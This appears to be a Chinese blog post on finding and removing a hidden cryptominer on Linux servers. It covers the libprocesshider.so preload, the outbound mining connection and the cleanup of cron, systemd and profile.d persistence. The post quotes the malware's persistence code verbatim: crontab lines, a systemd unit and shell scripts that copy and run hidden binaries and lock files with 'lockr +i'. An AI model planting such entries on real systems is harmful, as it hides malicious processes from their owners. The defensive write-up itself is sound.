1. 程式人生 > 其它 >linux隱藏病毒處理(top查詢us佔用70%左右,卻沒有CPU高使用的程序)

linux隱藏病毒處理(top查詢us佔用70%左右,卻沒有CPU高使用的程序)

linux隱藏病毒處理(top查詢us佔用70%左右,卻沒有CPU高使用的程序)

突然有人反應說客戶伺服器使用有點卡,雖然是客戶的伺服器,裡應當客戶**自己處理的,可是專案還沒完成,只有猥瑣發育,自己搞定唄,客戶是大哥啊。於是乎,立馬使用常規操作,登陸伺服器檢視資源使用情況,發現伺服器的CPU的us值在70%左右,然而並沒有找到相關的CPU使用很高的程序,慌得一批,口吐芬芳。。。

問題分析:
1、首先排除應用程式問題,因為伺服器的使用人數並不多,不可能有這麼高的負載,而且如果是應用程式問題,肯定會顯示出CPU高使用的應用程序

2、後排除CPU硬體故障,因為這個專案的幾臺伺服器全都是這樣的,而且這幾臺伺服器全都是新上的幾臺伺服器

3、懷疑核心版本問題,因為有人遇到過這種問題,果斷拿一臺做實驗,升級核心版本,重啟,然而並沒有搞定

4、最後只有鎖定病毒方面的問題,可是並沒有顯示高消耗的程序,應該是病毒將一些系統命令做了更改,無從著手的感覺,於是乎,百度。。。果然找到一個相同的問題:https://www.zhihu.com/question/59820313,終於可以確定最終的原因,病毒。。。

病毒處理常規步驟(之前一直這樣處理的):
1、病毒程序查詢

2、定時任務清理

3、自啟動清理

4、服務清理

5、kill程序

病毒程序查詢:
因為病毒是個隱藏的病毒,top沒辦法找到程序,通過參考https://www.zhihu.com/question/59820313這篇問答,找出病毒程式

首先查詢是否有這個連線:netstat -anp

結果顯示:tcp 0 0 x.x.x.x:33708 91.121.140.167:3333 ESTABLISHED -

連線IP是91.121.140.167,程序名為“-”,確認為病毒程式

查詢檔案:cat /etc/ld.so.preload

內容為:/usr/local/lib/libprocesshider.so

因此,需要刪除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload

清理檔案時遇到報錯Operation not permitted,因為檔案被賦予了“i”許可權,lsattr可以檢視檔案許可權,可是檢視許可權時,報錯沒有lsattr命令,系統本身自帶了的,估計是病毒將命令改了,重新下載軟體包(e2fsprogs)安裝就是

檢視檔案許可權:lsattr /usr/local/lib/libprocesshider.so   

chattr更改許可權,任然報錯沒有chattr,心態爆炸。。。

後面檢視定時任務時,發現用的lockr +i授權,藉此配置許可權,lockr -i /usr/local/lib/libprocesshider.so之後即可刪除檔案

清理檔案後,top即可看到搞事情的病毒程序命“.sh”

病毒清理:
定時任務清理:

查詢cron.d、cron.hourly、crontab目錄或檔案的異常

/etc/cron.d/phps檔案異常,內容*/10 * * * * root /sbin/httpss,直接刪除/etc/cron.d/phps、/sbin/httpss

lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https
/etc/crontab內容異常,清理異常任務

          • root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
          • root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1

服務清理及自啟動清理:

/etc/rc.d/init.d/目錄下異常檔案刪除:rm -rf selinux DbSecuritySpt

清理檔案異常內容:/etc/rc.d/rc.local

/lib/systemd/system發現異常服務檔案:vim pwnriglhttps.service

[Unit]
Description=.sh

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target
關閉pwnriglhttps.service服務:systemctl stop pwnriglhttps.service

                                                 systemctl disable pwnriglhttps.service

刪除檔案:rm -rf pwnriglhttps.service

top或者ps查詢程序ID,kill程序,top檢視資源使用恢復正常

最後刪除病毒檔案:

rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip
到此理應清理完畢,重啟系統,發現資源使用正常,然而ssh遠端登陸伺服器後,病毒任然執行。。。

ssh登陸清理:

查詢/etc/profile檔案

發現目錄/etc/profile.d/下出現異常檔案:php.sh、supervisor.sh

檢視內容:vim php.sh

!/bin/bash

cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null
vim supervisor.sh

!/bin/bash

supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1
/etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf

刪除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf

lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
最後再次kill程序,刪除.sh檔案

find / -name .sh
rm /etc/.sh /usr/bin/.sh
重啟伺服器,測試ssh登陸伺服器,資源使用正常,病毒處理完成

總結:
病毒處理大概思路:病毒程序名檢視、定時任務檢視、開啟啟動目錄檢視、服務目錄檢視、使用者登陸配置檔案檢視等,一般都是修改這些檔案來達到入侵目的,還有系統命令的修改

如今病毒隱藏愈來愈深,愈來愈搞事情,所以建議從預防開始,注重病毒預防,中毒難受,嚴重導致資料丟失,無解。。。